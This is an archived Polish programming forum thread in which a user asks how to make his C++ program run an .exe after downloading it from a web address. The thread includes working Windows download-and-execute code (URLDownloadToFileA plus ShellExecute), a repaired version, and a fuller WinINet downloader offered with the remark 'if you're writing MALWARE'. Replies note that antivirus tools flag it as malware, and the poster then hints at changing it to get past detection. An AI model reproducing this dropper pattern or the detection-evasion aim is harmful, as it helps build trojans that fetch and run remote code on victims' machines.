Panel użytkownika
Nazwa użytkownika:
Hasło:
Nie masz jeszcze konta?

Wykonanie pobranego pliku

Ostatnio zmodyfikowano 2012-08-04 16:14
Autor Wiadomość
formatyk
Temat założony przez niniejszego użytkownika
Wykonanie pobranego pliku
» 2012-08-03 02:26:57
//EDIT:
Rozwiązałem problem dodając
system("start c:\\update.exe");
----------------------
Witam
Mam problem z wykonaniem pliku
Poszukałem na google i znalazłem kod pobierania pliku
Wstawiłem swój plik , skompilowałem / wykonałem
-Działa , plik się pobiera .
Mój problem jest w tym ,że chciałbym aby pobrany plik był dodatkowo wykonany


<code>

#include <windows.h>

typedef void (*Funk)(LPVOID,char*,char*,int,int);

bool Download(char* URL, char* File_Name)
{
HINSTANCE Dll_Handle = LoadLibrary("urlmon.dll");
if (Dll_Handle == NULL) return FALSE;
Funk DnLd = (Funk)GetProcAddress(Dll_Handle,"URLDownloadToFileA");
if (DnLd == NULL) return FALSE;
DnLd(0,URL,File_Name,0,0);
FreeLibrary(Dll_Handle);
return TRUE;
}

int main(int argc, char *argv[])

{
Download("http://stronazdownloadem.com/update.exe/", "C:\update.exe");

HINSTANCE hInst = ShellExecute(0,
"open", // Operation to perform
"C:\update.exe", // Application name
"NULL", // Additional parameters
0, // Default directory
SW_SHOW);
return 0;
}

</code>
P-61619
kubawal
» 2012-08-03 07:46:53
tak apropo, kod daj w [cpp]...[/cpp] , a nie w <code>...</code>
P-61620
cyklopek11
» 2012-08-03 10:51:34
Hmmm coś mi nie gra z typem twojego wskaźnika na funkcje. Na msdn jest że:

HRESULT URLDownloadToFile(
  LPUNKNOWN pCaller,
  LPCTSTR szURL,
  LPCTSTR szFileName,
  _Reserved_  DWORD dwReserved,
  LPBINDSTATUSCALLBACK lpfnCB
);

zwraca HRESULT a nie void więc dziwię się że działa (nie bawiłem się jeszcze funkcjami do ściągania plików).
Mógłbyś sprawdzać co jakiś czas kiedy funkcja Download zwróci: true i wtedy próbować wykonać.
Jeśli jesteś na Viście lub wyżej to Twój program będzie prawdopodobnie wymagał uruchomienia jako administrator aby mógł wykonać (sprawdź to).
P-61625
CodeMeister
» 2012-08-03 12:17:09
A mi to wygląda na jakiś niecny program, który coś ściąga (trojan?) i uruchamia - tak swoją drogą...
P-61631
m4tx
» 2012-08-03 12:51:35
@up bez przesady... Może to jest np. prosty auto-updater? Wszędzie te szkodniki musicie widzieć? :)

Edit:
Download("http://stronazdownloadem.com/update.exe/", "C:\update.exe");
W dodatku ani opis problemu, ani kod nie wskazują na to, że to trojan.
P-61634
ADAMANTAN
» 2012-08-03 17:20:32
Lekko zmodyfikowane i działa:
C/C++
#include <windows.h>

typedef void( * Funk )( LPVOID, char *, char *, int, int );

bool Download( char * URL, char * File_Name )
{
    HINSTANCE Dll_Handle = LoadLibrary( "urlmon.dll" );
    if( Dll_Handle == NULL ) return FALSE;
   
    Funk DnLd =( Funk ) GetProcAddress( Dll_Handle, "URLDownloadToFileA" );
    if( DnLd == NULL ) return FALSE;
   
    DnLd( 0, URL, File_Name, 0, 0 );
    FreeLibrary( Dll_Handle );
    return TRUE;
}

int main( int argc, char * argv[] )

{
    bool isDownloaded = Download( "http://stronazdownloadem.com update.exe/", "C:\\update.exe" );
   
    if( isDownloaded == true )
    {
        HINSTANCE hInst = ShellExecute( 0,
        "open", // Operation to perform
        "C:\\update.exe", // Application name
        "NULL", // Additional parameters
        0, // Default directory
        SW_SHOW );
    }
    return 0;
}
A teraz ta zła wiadomość. Jak wspomniał kolega wyżej to wzorcowy kod wszelkiego rodzaju MALWARE i jest wykrywany przez antywirusy. Ba, nawet mój NOD32 nie pozwolił linkerowi w code::blocks na operacje linkowania. Nie mówiąc już o uruchomieniu w obecności aktywnego NODa.
Na https://www.virustotal.com twój program jest określany przez 18/40 antywirusów jako złośliwy kod.
Będziesz musiał sam pokombinować jak sprawić aby nie był on traktowany jako złośliwy. Tutaj raczej nikt nie pomoże no bo nie wiemy czy aby nie stoisz po ... ciemnej stronie mocy :-)
A tak poza tym to dziwię się że User Account Control (UAC) w Windows Vista mi się nie pluło na wykonanie takiego exeka po ściągnięciu...
(testowałem na darmowym serwerze, darmowej domenie i własnym pliku exe)

P-61659
yoogi
» 2012-08-03 22:10:51
Jak piszesz MALWARE to URLMON nie nadaje się :)

C/C++
#include <Windows.h>
#include <Wininet.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <tlhelp32.h>
#include <string>
#include <process.h>
#include <vector>
#include <string>
#include <fstream>

#pragma comment(lib,"Wininet.lib")

using namespace std;

HINTERNET netstart()
{
    const HINTERNET handle = InternetOpenW( 0, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0 );
    if( handle == 0 )
    {
        const DWORD error = GetLastError();
        cerr << "InternetOpen(): " << error << "." << endl;
    }
    return( handle );
}

void netclose( HINTERNET object )
{
    const BOOL result = InternetCloseHandle( object );
    if( result == FALSE )
    {
        const DWORD error = GetLastError();
        cerr << "InternetClose(): " << error << "." << endl;
    }
}

HINTERNET netopen( HINTERNET session, LPCWSTR url )
{
    const HINTERNET handle = InternetOpenUrlW( session, url, 0, 0, 0, 0 );
    if( handle == 0 )
    {
        const DWORD error = GetLastError();
        cerr << "InternetOpenUrl(): " << error << "." << endl;
    }
    return( handle );
}

void netfetch( HINTERNET istream, ostream & ostream )
{
    static const DWORD SIZE = 1024;
    DWORD error = ERROR_SUCCESS;
    BYTE data[ SIZE ];
    DWORD size = 0;
    do
    {
        BOOL result = InternetReadFile( istream, data, SIZE, & size );
        if( result == FALSE )
        {
            error = GetLastError();
            cerr << "InternetReadFile(): " << error << "." << endl;
        }
        ostream.write(( const char * ) data, size );
    }
    while(( error == ERROR_SUCCESS ) &&( size > 0 ) );
   
}


int Download( WCHAR * url, string path )
{
    const HINTERNET session = netstart();
    if( session != 0 )
    {
        const HINTERNET istream = netopen( session, url );
        if( istream != 0 )
        {
            ofstream ostream( path.c_str(), ios::binary );
            if( ostream.is_open() )
            {
                netfetch( istream, ostream );
            }
            else
            {
                return 1;
            }
            netclose( istream );
        }
        netclose( session );
    }
    return 0;
}

std::wstring StringToWString( const std::string s )
{
    std::wstring temp( s.length(), L' ' );
    std::copy( s.begin(), s.end(), temp.begin() );
    return temp;
}

int main( int argc, char * argv[] )
{
    if( argc != 3 ) return 1;
   
    string fname = argv[ 1 ];
    string fs = argv[ 2 ];
    Download(( WCHAR * ) StringToWString( fname ).c_str(), fs.c_str() );
    return 0;
}

Kiedyś napisałem sobie takie cudo :)

#edit
@up UAC się pluje tylko jak aplikacja wymaga uprawnień administratora :)
P-61684
formatyk
Temat założony przez niniejszego użytkownika
Wykonanie pobranego pliku
» 2012-08-04 16:14:05
@cyklopek11 - Na win7 wymaga uruchomienia z uprawnieniami  jako administrator , pyta o zezwolenie na wykonanie pliku .
@CodeMeister - Kod znaleziony na forum i takie było jego pierwotne zastosowanie .
@ADAMANTAN  - Teraz też działa  .Teraz tylko przyglądam się jak działa taki kod .Po dodaniu opcji wyboru folderu , języka etc Myślę że już nie będzie problemu z nodem
P-61737
« 1 »
  Strona 1 z 1